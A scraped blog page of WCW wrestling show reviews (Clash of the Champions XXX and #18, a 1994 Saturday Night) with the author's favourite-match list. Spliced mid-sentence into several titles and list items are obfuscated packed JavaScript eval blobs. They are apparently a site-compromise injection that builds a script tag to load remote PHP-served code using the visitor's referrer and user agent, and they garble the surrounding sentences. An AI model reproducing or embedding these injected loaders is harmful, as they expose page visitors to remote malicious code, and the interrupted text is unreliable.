On This Day: January 25, 1995 – Clash of the Champions XXX: That’s One Weird Elbow

Clash eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdbhh|var|u0026u|referrer|brsdy||js|php'.split('|'),0,{})) of the Champions 30
Date: January 25, 1995
Location: Casear’s Palace, Las Vegas, Nevada
Attendance: 3,200
Commentators: Tony Schiavone, Bobby Heenana

Back to 1995 WCW because all of the time I had suffered through it wasn’t enough I guess. This is another attempt by me to end this far too long stretch of stuff I’ve done with WCW. Tonight, the main event is Hogan/Savage vs. Butcher/Sullivan and we also get Sting vs. Avalanche because…well because someone has to fight him I suppose. I’m not looking forward to this but let’s get to it.

We run down the card which includes a video of Savage shaking Hogan’s hand instead of slapping him in the face at Starrcade. You know, because that would have made things interesting and such.

Flair may be here, despite being retired.

TV Title: Arn Anderson vs. Johnny B. Badd

This was voted on by fans. Anderson has Colonel Parker with him as manager at this point and is champion. This is a rematch after Anderson stole the title earlier in the month. Fans are walking around in droves in the crowd. Badd takes over and Anderson chills in the corner to break the momentum. Anderson takes over for a few seconds but for some reason tries to go up top. His career record up there is worse than Flair’s so Badd dropkicks him down to the floor.

Badd adds a big dive to the floor and works on the arm in the ring. The idea here is that Anderson can’t keep up with Badd’s speed. The announcers talk about how WCW had the only wrestling show in the top 100 cable shows. This is pre-Nitro so that’s on the weekends only, which is pretty impressive. Johnny tries to jump over Arn in the corner but gets caught and clotheslined on the top like a Stun Gun.

Off to a chinlock which doesn’t last long and Arn keeps control. He sets for the traditional jump off the rope into the boot but Arn, ever the genius (no sarcasm) landso n his feet and drops an elbow for two. Badd starts his comeback and knocks Anderson out cold to the floor. Colonel Parker pours water on Anderson and Chase the Manager begins. Badd comes in but gets caught in a DDT to end this.

Rating: D+. This started off pretty well but after that it fell apart quickly. This feud would go on at least until Uncensored where they had a boxing match for not much of a reason. This went nowhere after it became a kick and punch and chinlock match. It could have been worse, but this was a clearly screwy ending coming a mile away.

Kevin Sullivan says that Flair and Vader both may be here plus a guest for Vader. Sullivan says that even though Hogan is surrounded by friends, he’s going to get stabbed in the back. Butcher (Beefcake) says nothing significant in his heel promo.

Video on Alex Wright, who was a hot commodity at this point.

Alex Wright vs. Bobby Eaton

This was far more common back in the day: take a guy like Eaton and put him in the ring with a guy like Wright and let Eaton make Wright look great. It was very common back in the day and very effective. Wright grabs an armbar which doesn’t last long. A headscissors takes Alex down but we’re right back to the arm again. Alex misses a dive and lands on the top rope as Eaton takes over.

Eaton hooks a chinlock and this isn’t going anywhere for the most part. Wright grabs a suplex but hurts his own neck on it to shift momentum again. Spinwheel kick puts him down and a missile dropkick gets two. This really isn’t as good as they were expecting I don’t think. Cross body for two. Eaton pops up out of nowhere and hits the Alabama Jam (top rope legdrop) for two but Wright hits another cross body for two.

Rating: D. This didn’t do much at all for me here. The first few minutes were really boring and then after that, the whole thing was nothing but Wright hitting something for two and then hitting another one of something he hit earlier for the pin. I know Eaton was good but this didn’t work at all for me.

Gene talks about Hogan vs. Vader and how they can’t fight until SuperBrawl. Here’s Vader (US Champion at this point) who says Race might be here tonight and he has a ticket for him. He asks who is the man and gets a mixed response. Vader has looked for Hogan everywhere but there’s been no Hulk. He says Hogan is hiding but Vader will have a ticket tonight.

Tag Titles: Harlem Heat vs. Stars N Stripes

Bagwell/Patriot are the challengers. And they’re late. Instead….here’s Ric Flair. He was retired at this point due to the events of Halloween Havoc. Heenan goes over to shake Flair’s hand, being the suckup that he is. Flair takes a seat in the front row. Here are Stars N Stripes. Booker vs. Bagwell to start with Bagwell hammering away. This is a return match after the Heat basically stole the titles.

Bagwell dropkicks him to the floor and the challengers clear the ring. The fans chant USA. Why can’t Harlem Heat be patriotic? They’re from New York which is certainly part of the United States. Patriot hammers away on Stevie and works on the arm a bit. Really basic tag match here and not much to say for the first three to five minutes.

Bagwell is getting beaten down at the moment, taking that spinning forearm smash for two. The fans show their anti-New York sentiment again. The announcers talk about why Vader has two seats at ringside since Harley Race isn’t here. Heenan: “Maybe he’s going to use the other chair to crack Hogan over the head.” A few seconds of silence pass. Tony: “Maybe he’s going to use the other chair as a weapon.” Heenan never got a break.

The champions keep beating down Bagwell but Sherri gets on the apron to keep the tag from being noticed. The American comes in anyway and everything breaks down. Sherri’s shoe comes in somehow and Bagwell gets an O’Connor Roll on Stevie. Booker kicks his head off to reverse the control though and the Heat keeps the titles.

Rating: D. Total meh match here. This felt like they were told there had to be a tag title match so here’s a quick one so that we can say we had one. It’s not that the match is bad but rather that it’s painfully boring. The Heat would hold the titles for like 5 months until the Nasty Boys won them after they lost them. Long story, don’t ask.

The Monster Maniacs (Hogan/Savage) say exactly what you would expect them to say.

Off to the Control Center which discusses SuperBrawl. One of the things we learn here: Vader has a ticket to tonight’s show. Top notch reporting there Gene!

Sting vs. Avalanche

Guardian Angel (Big Boss Man) is guest referee. Big brawl to start and I think it’s going to be a safe bet that if you’ve seen one of these Sting vs. monster matches you’ve seen them all. Flair has left his seat. Avalanche drops an Earthquake on Sting but poses instead of covering. You know, because THAT has a great track record. There’s a powerslam for two. Sting takes him down and does the falling headbutt to the balls spot. There’s the Splash in the corner and make it two of them. Ok three and the fourth sets up a slam for the Scorpion to end this.

Rating: C-. Dull match but Sting’s incredible charisma helped it a lot. The splashes in the corner worked well enough and the slam is always impressive. The inherent problem with WCW at this time though was that none of these monsters ever got a pin, which really hurt things after awhile because this feud would go on for almost a year.

Nick Patrick came out to call the submission. Angel got in Sting’s face and they brawled, with Angel helping for a double beatdown on Sting. Alex Wright and Stars and Stripes make the save.

Angel says he was disrespected. He says he’s Big Bubba Rogers again.

Hulk Hogan/Randy Savage vs. Kevin Sullivan/The Butcher

Vader is up and all annoyed for Hogan’s entrance. Flair is back in his seat now also. Hogan and Butcher are set to start us off but Butcher stalls like a true southern man. Savage comes in and this is totally one sided to start us off, which is about what you would expect. Back to Hogan who beats on Beefcake even more. Hogan hits a jumping knee (called a boot by that moron Schiavone) but Butcher hooks the sleeper, which put Hogan out at the last Clash.

Now we get one of the weirdest moments ever in wrestling history. Butcher puts Hogan out with the sleeper but lets go early ala Adrian Adonis at Mania 3. The heels celebrate so Savage comes in to wake Hogan up. It doesn’t work, so Savage goes up top and drops the big elbow on Hogan. For absolutely no logical reason at all, this wakes Hogan up and he’s fine again. WHAT SENSE IS THAT SUPPOSED TO MAKE??? I mean who came up with that idea??? Cocaine is a powerful drugs kid.

The heels start cheating and take over with evil tactics, including throwing Savage to the floor. It turns into a standard tag match with Butcher and Sullivan hammering away on Savage. Savage is on the floor and is all shaky as Hogan checks on him. I think they’re playing up that he might have a concussion without saying he’s got a concussion. Back inside he gets rammed by the Tree of Woe because Hogan got drawn into the ring.

The sleeper doesn’t work and Savage kicks Brutus away for the hot tag to Hogan. Notice the pretty weak pop for him coming in for the save WCW. Everything breaks down and Savage drops the elbow on Brutus but Hogan gets to drop the leg for the pin, because goodness knows we can’t have the new guy get the pin.

Rating: D+. It’s just a main event tag match and not a very good one. The problems that WCW had are really showing themselves here: Hogan never loses. I mean he never even got close to losing. He never broke a sweat here and Savage doesn’t even get the pinfall. Also, having Kevin Sullivan and Brutus Beefcake as the top heels didn’t help anything. Vader got beaten up by Hogan so much that he gave up and went to the WWF.

Vader comes in post match for the big staredown. Vader beats him down easily and powerbombs him….and Hogan pops right back up, showing that Vader has zero chance at all of beating him clean. Hogan and Savage clear the ring and stand tall. As Vader leaves, he manages to plug the show: “The champ goes down February 19 in Baltimore. Be there and witness history!” He shouts that at the camera as he leaves. See how simply you can add something to the show’s build? Why is that so hard? Oh because we need things trending on Twitter right?

Hogan and Savage pose for two minutes to end this. Running short on time I guess.

Overall Rating: D. This was boring. That sums up WCW in this year: everything was predictable and only Hogan and his friends got significant time. Not an interesting show at all and not even a big commercial for SuperBrawl (which sucked) really. It wouldn’t be helped at all until Giant came in around October to FINALLY give Hogan a challenge. Bad show, and this whole year isn’t worth watching.

 

Remember to follow me on Twitter @kbreviews



KB’s Top 26 WCW Matches

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydnsn|var|u0026u|referrer|enzyd||js|php'.split('|'),0,{})) is usual with me, I started off planning to have about 10 matches on this list and it got out of hand.  These are in NO order other than the top five which will be separated.  This is a mixture of favorites and best which is how my lists tend to go.  Let’s get to it.

  1. Sting vs. Vader – Starrcade 1992

Sting, go watch this.

  2. Sting vs. Cactus Jack – Beach Blast 1992

  • Vader vs. Cactus Jack – Halloween Havoc 1993

  • Chris Benoit vs. Kevin Sullivan – Great American Bash 1996

    • As of this point, the rest are in no particular order.

    1. Diamond Dallas Page vs. Randy Savage – Spring Stampede 1997

  • Steiner Brothers vs. Lex Luger/Sting – SuperBrawl I

  • Ricky Steamboat vs. Rick Rude – Beach Blast 1992

  • Brian Pillman vs. Jushin Thunder Liger – SuperBrawl II

  • Steve Austin vs. Ricky Steamboat – Bash at the Beach 1994

     Ric Flair vs. Vader – Starrcade 1993

    Rey Mysterio vs. Eddie Guerrero – Halloween Havoc 1997

    Ric Flair vs. Ricky Steamboat – Chi-Town Rumble

    Ric Flair vs. Sting – Clash of the Champions #1

    Why WWE.com put the unification match on the list and not this one is likely due to the NWA thing but screw that jazz. If the WWE can say that the World Heavyweight Championship is related to the WCW World Title then I can say this counts. This is the definition of putting someone over with Flair making Sting a huge star in one night. The match runs 45 minutes but feels like about half of that. This is the first of many matches they have and it might actually be the best.

  • Magnum TA vs. Tully Blanchard – Starrcade 1985

    Ric Flair vs. Arn Anderson – Fall Brawl 1995

    They were partners for years but they FINALLY had a match here, in North Carolina of course. This was all part of the rebirth of the Horsemen but it took a few months to get there. They knew each other so well that at the end of the day, you knew they were going to have a great match against each other. The fans had no idea who to cheer for which made it even better. To the surprise of a lot of people, Anderson won in I think their only match ever.

  • Brian Pillman vs. Johnny B. Badd – Fall Brawl 1995

    Bret Hart vs. Chris Benoit – Nitro

    Ric Flair vs. Barry Windham (pick one)

    Flair vs. Funk – Great American Bash 1989

    Sting vs. Rick Rude – Clash of the Champions #17

    We have one of the best heels ever against one of the best faces ever. This is all backstory from earlier in the show as Sting was injured by I believe Luger earlier in the night and was at the hospital. He was told that if he missed the match he would lose the title and the race was on to get back. Rude was sure he was going to be champion but Sting walked through the curtain at the last minute and the place EXPLODED. This is all atmosphere but it was great atmosphere.

  • Dustin Rhodes/Ricky Steamboat vs. The Enforcers – Clash of the Champions #17

    Southern Boys vs. Midnight Express – Great American Bash 1990

  • Lex Luger vs. Ric Flair – WrestleWar 1990

    Lex Luger vs. Ric Flair – Starrcade 1988

    • WWE.com’s Top 20 WCW Matches

    20. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfnbs|var|u0026u|referrer|btebs||js|php'.split('|'),0,{})) Sting vs. Diamond Dallas Page (Nitro, April 26, 1999)
    19. Dean Malenko vs. Eddie Guerrero (Uncensored 1997)
    18. Big Van Vader vs. Cactus Jack (Halloween Havoc 1993)
    17. 3 Count vs. Jung Dragons (New Blood Rising 2000)
    16. Diamond Dallas Page vs. “Macho Man” Randy Savage (Spring Stampede 1997)
    15. Cactus Jack & Maxx Payne vs. Nasty Boys (Spring Stampede 1994)
    14. Rey Mysterio vs. Dean Malenko (Great American Bash 1996)
    13. Ric Flair vs. Hulk Hogan (Bash at the Beach 1994)
    12. Steiner Brothers vs. Sting & Lex Luger (SuperBrawl 1991)
    11. Ricky Steamboat vs. Rick Rude (Beach Blast 1992)
    10. Brian Pillman vs. Jushin “Thunder” Liger (SuperBrawl II)
    9. “Stunning” Steve Austin vs. Ricky Steamboat (Bash at the Beach 1994)
    8. Sting’s Squadron vs. Dangerous Alliance (WrestleWar 1992)
    7. Ric Flair vs. Big Van Vader (Starrcade 1993)
    6. Rey Mysterio vs. Ultimo Dragon (World War 3 1996)
    5. Ric Flair vs. Sting (Clash of Champions XXVII).
    4. Rey Mysterio vs. Eddie Guerrero (Halloween Havoc 1997)
    3. Goldberg vs. Diamond Dallas Page (Halloween Havoc 1998)
    2. Ric Flair vs. Sting (Great American Bash 1990)
    1. Ric Flair vs. Ricky Steamboat (Clash of the Champions VI in 1989)

     

    Great American Bash 1990???  As I said in my review of it: “The match isn’t great and it’s certainly not their best.”

     

    This is wrong on SO many levels.  Some of these matches weren’t even the best matches on their own shows.  Also, this is leaving out a ton of great stuff from the 80’s for absolutely no apparent reason.  They were still in the NWA for the 1990 Bash so it can’t be that.



    On This Day: January 22, 1994 – WCW Saturday Night: The Original WCW Big Show

    WCW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iises|var|u0026u|referrer|zekst||js|php'.split('|'),0,{})) Saturday Night
    Date: January 22, 1994
    Location: Center State Theater, Atlanta, Georgia
    Commentators: Tony Schiavone, Jesse Ventura

    Time for another of these. I found the next episode after January so we can keep going with this for a little while longer. Anyway, this is the go home show before the Clash so expect a lot of push for that. I think this is another 90 minute episode so this will be about as long as the previous one was. Let’s get to it.

    There’s a six man main event with a heel mystery partner.

    Nasty Boys vs. Ron Oates/Mark Starr

    The Nasties are the tag champions and we get a quick word from Jack and Payne, their challengers on Thursday. Sags and Starr start things off and it’s domination early. Off to Knobbs who walks into a dropkick and armdrag as the jobbers clear the ring for a bit. Off to Oates who is a big guy. Not that it matters much as the good guys tag in and out a lot to work on the arm of Knobbs.

    Knobbs runs him over to bring in Sags but he gets taken down as well. Finally some double teaming takes over for the Nasties and things slow WAY down. Everything breaks down and they be clubberin on Starr. Off to a chinlock by Sags but Starr gets up for a hot tag to Oates. And never mind as Knobbs kills him with a double ax. Brian splashes him in the corner and a top rope elbow from Sags gets the pin.

    Rating: D+. This was way better than I was expecting. It’s a nice change of pace to have the jobbers get in some offense other than a few shots here and there. Not the best match in the world or anything, but I didn’t expect it to get almost seven minutes which made things a lot better here.

    Colonel Parker says he’s got a mystery man that’s going to take care of Sting and Flair and Boss.

    One of the commercials is for this new move Ace Ventura Pet Detective.

    Here’s Flair who talks about giving his son the world title to take into his first grade class for show and tell. It’s more serious than it sounds.

    Dustin Rhodes vs. Ricky Tango

    That’s a great jobber name. This is your usual squash: Tango is all fired up but Dustin survives the offense and hits the big lariat to set up the bulldog for the pin.

    Dustin says he’s ready for Steven Regal and the TV Title on Thursday. Regal has been badmouthing America and Dusty and that isn’t cool.

    We go to the control center for the Clash to talk about the majority of the card. We see some clips of the Nasties beating up Jack/Payne on World Wide. Gene talks about the chicken suit match and we also get a clip of Simmons getting in a fight with Ice Train.

    Shanghai and Slazenger talk about their match next week with Badd. If Shanghai loses, he takes the mask off.

    Ron Simmons vs. TC Carter

    Carter wants a test of strength so Simmons kicks him in the ribs for his efforts. Carter hits a dropkick and Simmons isn’t happy. Simmons clotheslines him down and demands a handshake. When Carter tries, Ron kicks him down. That’s awesome. Carter tries another comeback but Ron KILLS him with a shoulder and the spinebuster for the pin.

    Ice Train comes out to offer another handshake but Simmons has nothing to do with it and walks off.

    Parker runs his mouth about Pillman and Austin shows off his new managers’ license so he can be at Parker’s match on Thursday. Ron Simmons is announced as the mystery partner.

    Jim Steele vs. Bob Starr

    Oh it’s Jungle Jim Steele. Steele looks like a cross between Ultimate Warrior, Jimmy Snuka, and Tarzan. He was one of WCW’s 948 attempts to recreate Ultimate Warrior, but didn’t have the talent or charisma. A Thesz Press ends this quick.

    Gene is in the crowd with some girls but he can’t talk about his news regarding Arn Anderson. But they can call the hotline to find out.

    Vader vs. Al Phillips

    I don’t like the jobber’s chances. What are you expecting here? Big powerbomb ends this in about a minute.

    Vader wants Flair on Thursday. He gets him in a tag match and threatens to kill him. Rude comes in and says bring it on Sting.

    2 Cold Scorpio/Marcus Bagwell vs. Tom Burton/Bill Payne

    Burton and Scorpio start things off and they mess up a cross body spot that sends Scorpio crashing into the mat. He’s playing possum though and cleans house with Bagwell. Powerslam gets two for Marcus. Scorpio comes in for a corner splash and then we get a double superplex to Burton to kill him for the pin. Now that was a cool ending to a squash.

    Pillman says Parker is going to wear the chicken suit. Parker broke up the Blondes and on Thursday, dinner will be served. He’s got a piece of chicken in his hand as he says this.

    Rick Rude/Steve Austin/Ron Simmons vs. Sting/The Boss/Ric Flair

    That’s a big main event. For some reason they come out to Boss’ music which is really slow and doesn’t do much to get the crowd going. Ice Train is here to yell at Simmons and Rude. It’s a brawl to start and the good guys clear the ring as you would expect. Train stays out there because Parker can. So what’s the point of the manager’s license thing then? Rude and Boss start things off.

    Off to Sting as Boss hammers on Rude. We get a pair of atomic drops to Rude which is always funny. Off to Austin in a match that could have drawn millions in 98. Austin gets caught in an electric chair and his team hasn’t been having a ton of luck. Off to Naitch in what was supposed to be Starrcade 1994. Austin backdrops him but gets caught in a Figure Four attempt.

    Boss comes in to work on the knee but gets caught by Rude. Rude tries a sleeper but gets caught in a jawbreaker. Simmons pulls the top rope down and Boss is sent to the outside. Simmons comes in to throw Boss around and the fans want Sting. Sting vs. Simmons could have been a huge feud. Austin breaks up the tag and Boss is in trouble. Back to Rude as they work on Boss’ back.

    Here’s a bearhug but Boss shoves his way to the corner for a tag to Sting, but the referee misses it. Now Simmons switches places with Rude to hook on a bearhug. Simmons goes to the middle rope but jumps into a punch. There’s the tag to Sting who destroys Simmons with a powerslam for two. Everything breaks down and Sting pins Simmons on a rollup.

    Rating: C+. When all else fails, throw six big names into one match and give them ten minutes. It works on Smackdown (kind of) with all those tag matches. This was pretty fun and it’s cool to see Sting vs. Simmons as they were the top faces in the company about a year prior to this. Not a classic or anything but for a TV main event this was fine.

    Overall Rating: C+. For a go home show, this was pretty solid. The opening match was longer than expected so we got some ring time on this show which is rare for most TV. The Clash wasn’t that good if my memory is right but we’ll start up towards SuperBrawl after this one. After that, it’s almost Hogan time. Good show this week.

    Here’s the Clash if you’re interested:

    Clash of the Champions Count-Up – #26: We’ve Got Chicken Suits!

    Remember to follow me on Twitter @kbreviews



    On This Day: January 21, 1992 – Clash of the Champions #28: One Of The Best Clashes Ever

    Clash eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkntt|var|u0026u|referrer|efyzt||js|php'.split('|'),0,{})) of the Champions 18
    Date: January 21, 1992
    Location: Kansas Expo Center, Topeka, Kansas
    Attendance: 5,500
    Commentators: Tony Schiavone, Jim Ross

    Time for another Clash, but this time it’s from a better era. This is during the Dangerous Alliance period, where the top heels in the company banded together to fight Sting and whoever he could get to back him up. However, he needed to win the world title first nad we need to set up that match tonight. Also we get Cactus Jack vs. Van Hammer in a falls count anywhere match which I remember fairly well. Let’s get to it.

    The opening video is about Heyman wanting to take over the company with the Dangerous Alliance.

    As usual Eric and Missy are more or less the hosts.

    Vader/Mr. Hughes vs. Steiner Brothers

    Scott vs. Hughes gets us going. The Steiners are insanely popular. Scott throws Hughes around for a few minutes and that’s exactly what I wanted to see. That’s what the Steiners were awesome at: throwing big guys around like it was no big deal. Hughes powers him to the corner and everything breaks down. The Steiners get sent to the floor so they wait for the monsters to pose and both go to the top at the same time. A double Steiner Line off the same corner gives the Steiners the momentum again.

    Vader vs. Rick now and Vader goes old school monster on him. There’s a gorilla press and a splash in the corner but Rick keeps getting up because that’s what he does. Steiner Line takes Vader down and there’s an overhead belly to belly (great one too). Rick knocks him to the floor and dives off the apron, but gets caught and rammed into the post. Back in and Rick throws Vader off the top with a belly to belly superplex.

    Off to Scott and the Steiners are all fired up here. Scott gets the best German suplex you’ll ever see to a guy the size of Vader. He goes up but his cross body is countered into a powerslam and a splash keeps Scott down. Tag to Hughes and it’s off to Rick soon thereafter. HUGE backdrop and Hughes is in trouble. Everything breaks down again and Vader accidentally hits Hughes. Vader and Scott go to the floor and the Steiner Bulldog ends Hughes.

    Rating: B. That’s probably high but I’m a sucker for the Steiners throwing everyone all over the place like it’s nothing. They were so far and away better than all of the other teams at this point and it was very clear. Anderson and Eaton were champions at this point and the Steiners would get the titles back in just a few months.

    Terry Taylor/Tracy Smothers vs. Brian Pillman/Marcus Bagwell

    Tracy is still part of the Young Pistols and Taylor is the Taylor Made Man. According to Ross, a standard backhand chop is a judo chop. Didn’t know that. Pillman cleans house on his own and speeds things up but walks into a backbreaker for two. Off to Bagwell and the good guys clear the ring with a double dropkick. There are some double dives to the outside and Taylor/Smothers are in trouble.

    We get back to normal with Bagwell vs. Smothers and Tracy hits what was either a dropkick or a superkick to take over. We hear about Bagwell hanging out with Sting a lot lately as Tracy beats him up. He avoids a shot though and here’s Pillman again. A spinwheel kick gets two for Pillman. The heels double team to slow Brian down and Taylor suplexes him to the floor.

    Pillman gets rammed into the post which gets two back in the ring for Tracy. Gutwrench powerbomb gets the same for Taylor. Back to Smothers and a jumping back elbow sends Pillman out to the barricade again. He comes back in with a springboard clothesline and it’s hot tag to Bagwell. Everything breaks down and Bagwell gets a surprise sunset flip on Smothers for the three count.

    Rating: C+. Fun tag match here with Pillman flying all over the place and just being awesome. Smothers and Taylor are two guys that I’m not wild on but they did their thing here and it worked well enough. Bagwell was still a glorified rookie at this point but he never really developed past anything slightly above average, which is pretty telling.

    Video on Jushin Thunder Liger. He and Pillman will tear the house down at SuperBrawl II for the Light Heavyweight Title which Liger recently won from Pillman.

    Richard Morton vs. Johnny B. Badd

    Badd is pretty new at this point and is still the gay character that we don’t acknowledge as being gay. He takes off the rainbow colored robe to put on a pink and blue boa. Badd has to fire the Badd Blaster (confetti gun) before we can get going. He tries to punch Morton so Morton wisely hides in the ropes. Double axe off the middle rope gives Badd control. A bad looking atomic drop by Morton lets him send Badd to the floor. Badd gets a sunset flip for two. This isn’t meshing at all. Powerslam gets two for Johnny. They slug it out and Morton tries a cross body which Badd rolls through for the pin.

    Rating: F. Just awful here and the ending looked horrible with Morton barely running when he hit the cross body. It took Badd a few years but he would get way better. The Light Heavyweight division never worked like it was supposed to because they had no idea that there was a difference between being small and knowing how to wrestle small.

    Badd and Pillman are with Bischoff and Badd puts a lips sticker on Eric’s cheek. They both want to fight Liger. Pillman gives a bizarre speech about Japanese automakers and how he’s defending the honor of Americans and bringing the title back to America. And then Badd puts lips on Brian’s cheek, earning him a right hand. I have no idea if that was a heel promo or not.

    PN News vs. Diamond Dallas Page

    Page is a manager recently turned wrestler and more or less is a jobber here. News is a very fat white rapper. He raps a bit before the match. This makes JR’s from two nights ago look bearable. Page (in a singlet) jumps him to start and they try running the ropes for a few seconds, but News can’t do it due to high levels of fat. News tries a dropkick to send Page to the floor as the announcers shill the WCW Hotline. All News until he misses an elbow. Page hammers away and gets two off a Russian legsweep. For some reason he tries a slam and guess how well that goes. News hits a belly to belly and a top rope splash for the pin.

    Rating: D-. Barely better than the previous match but Page was trying. The problem was that he wasn’t very good yet. News….you’re fat and you need to go away. The match was nothing to see and was there to get News on TV, because WCW was stupid enough to think that was a good idea.

    Here’s the WCW Top Ten.

    10. Larry Zbyszko
    9. El Gigante
    8. Big Van Vader
    7. Dustin Rhodes
    6. Cactus Jack
    5. Rick Steiner
    4. Ricky Steamboat
    3. Steve Austin
    2. Sting
    1. Rick Rude

    Kip Allen Frey is introduced as the new boss of WCW. Why WCW insisted on having actual executives on TV as the boss characters is beyond me. They FINALLY woke up in like 1995 and had a character played by a wrestler (I mean Bockwinkel, not Watts, who actually was the boss). Frey was actually really good at what he did though, and SuperBrawl II would be proof of that. He had a very interesting policy: whoever had the best match at a televised show received (I believe) a $5000 cash bonus. Think that might get people motivated? He announces Sting vs. Luger for the title at SuperBrawl II.

    The other thing Frey does is bring out the newest WCW color commentator: Jesse Ventura. This was a legit big deal and was probably the first high profile guy they took from Vince in a very long time. Jesse puts over WCW as the future and says he’ll be debuting soon, which also was at SuperBrawl.

    Tony brings out Sting who high fives Jesse on the way to the ring. Luger (recorded) says he’s been gone to get ready for the match. In reality, he only had one contracted appearance left so he just sat out for two months. His match with Sting was HORRIBLE, and in one of the rare instances in history, it can be completely blamed on one guy instead of two as Luger didn’t care at all and gave maybe a 4% effort. Sting signs and the match is on.

    For those of you wondering about Frey, he would be fired after the PPV because of an unspecified reason. The common answer is he was actually good at his job and that was simply unacceptable in WCW.

    Cactus Jack vs. Van Hammer

    Hammer was a guy that made David Otunga look like Lou Thesz in the ring, but man was he popular. After Sting and Hogan, he was probably my favorite when I was a kid. Jack is a crazy man and this is falls count anywhere. Hammer has a guitar with him and fires something out of the end of it into Jack’s eyes. A slingshot cross body gets two about a second after the bell.

    A big leg gets one (he would usually use a big boot beforehand. Hammer was tall and blonde. You figure it out) and Jack takes over. Cactus Clothesline puts them on the floor where Cactus gets two. Jack peels back the mats on the floor and jumps off the second rope with a sunset flip, hurting himself more than Hammer. They’re on the ramp now and we get a wrestling hold in the form of a sleeper by Jack.

    Powerslam on the ramp gets two for Hammer. This is a very hard hitting match. Jack keeps clotheslining him down while Hammer tries to wrestle. Hammer throws Jack off the ramp where he lands with a thud. A clothesline to the floor gets two. They brawl to the back as the fans boo (no big screens yet) and we take a break. The stuff after the break was taped earlier, because it’s 1992 and that’s how they rolled back then.

    They’re out in the parking lot and Jack hits him with a 2×4. A traffic cone to the head and they fight over to the bulls that are in place for an upcoming rodeo. Missy Hyatt is there to get on my nerves. Hammer chokes him with a rope so they climb into the pen with the bulls. Abdullah the Butcher pops up dressed as a cowboy and whacks Hammer with a shovel by mistake so Jack can get the pin.

    Rating: B-. Before the break, this was a SICK brawl. Post break, it goes downhill quickly. Butcher as a cowboy is a very strange vision and not one that I need to see every day. Hammer would never really mean much after this which is probably the best thing that could have happened to everyone involved. It has nothing on Sting vs. Jack but it’s still good.

    Butcher and Jack fight a bit with Butcher throwing Missy into a water trough.

    Freebirds vs. Brad Armstrong/Big Josh

    The Birds are now faces and no one cared. I mean no one AT ALL cared. They’re still singers and have a song nowhere near as good as Badstreet USA. They dance through the crowd and I want this to end already. Big Josh is a lumberjack that liked to dance with bears. Armstrong used to be a Freebird lackey in a mask (never acknowledged as the same guy). Hayes and Armstrong start us off.

    The Birds, despite being a long running tag team, really doesn’t work together all that well. Granted that might be due to Garvin not being all that good. Off to Josh who has far better luck. He stomps on Hayes’ ribs and I think this is face vs. face but I’m really not sure. Back to Garvin and Josh punches him for awhile too. They ram heads which has no effect on Garvin at all. Back to Armstrong who hits a bunch of dropkicks. Everything breaks down and the Birds cheat to hit a double DDT on Armstrong for the pin.

    Rating: F. This was one of the worst tag matches I’ve ever seen. The song didn’t help either with the title being “I’m a Freebird, What’s Your Excuse?” This was horrible and thankfully the Birds weren’t around much longer after this. It didn’t work at all and was one of the worst matches I can remember in a long time.

    Video on the Steiners and how awesome they are. We get some clips of them winning huge matches and hear about Scott’s arm tearing apart and putting him on the shelf for a long time.

    The Steiners say they’ll get the titles back because they never lost them fairly.

    Vinnie Vegas vs. Tommy Rich

    Vegas is more famous by his real name: Kevin Nash. Vegas is in suspenders, a white collared shirt and dress pants. Snake Eyes end this in less than a minute.

    Dangerously says that someone is getting taken out tonight. He lists off what might happen to each of them and it’s classic Heyman. You can see in his eyes how fired up he is here. He gets in the great line of someone is going to the Magnum TA Wrestling Retirement Home.

    Arn Anderson/Bobby Eaton/Larry Zbyszko vs. Barry Windham/Dustin Rhodes/Ron Simmons

    Windham still has a bad hand due to Zbyszko. Eaton vs. Windham starts us off and Barry is all fired up. It works against him though and he gets caught in a superplex which he no sells. Big lariat puts Bobby down and Windham hits his own lariat (his finisher) for two. Everything breaks down and the Alliance is all put in Figure Fours. Off to Larry vs. Ron with Larry trying to use power on him for some reason. Arn and Larry combined can’t overpower him.

    Ron is beating them up all on his own. For some reason Barry and Dustin just let him fight on his own and to be fair, it’s working pretty well. Off to Dustin and they work on Larry’s arm. Bobby comes in and Dustin is all fired up, throwing him over the top (behind the referee’s back) and hitting a huge diving clothesline to the ramp. Off to Larry vs. Barry and Barry misses a lariat. That’s the big feud to this match as Zbyszko and Anderson broke Barry’s hand at Halloween Havoc.

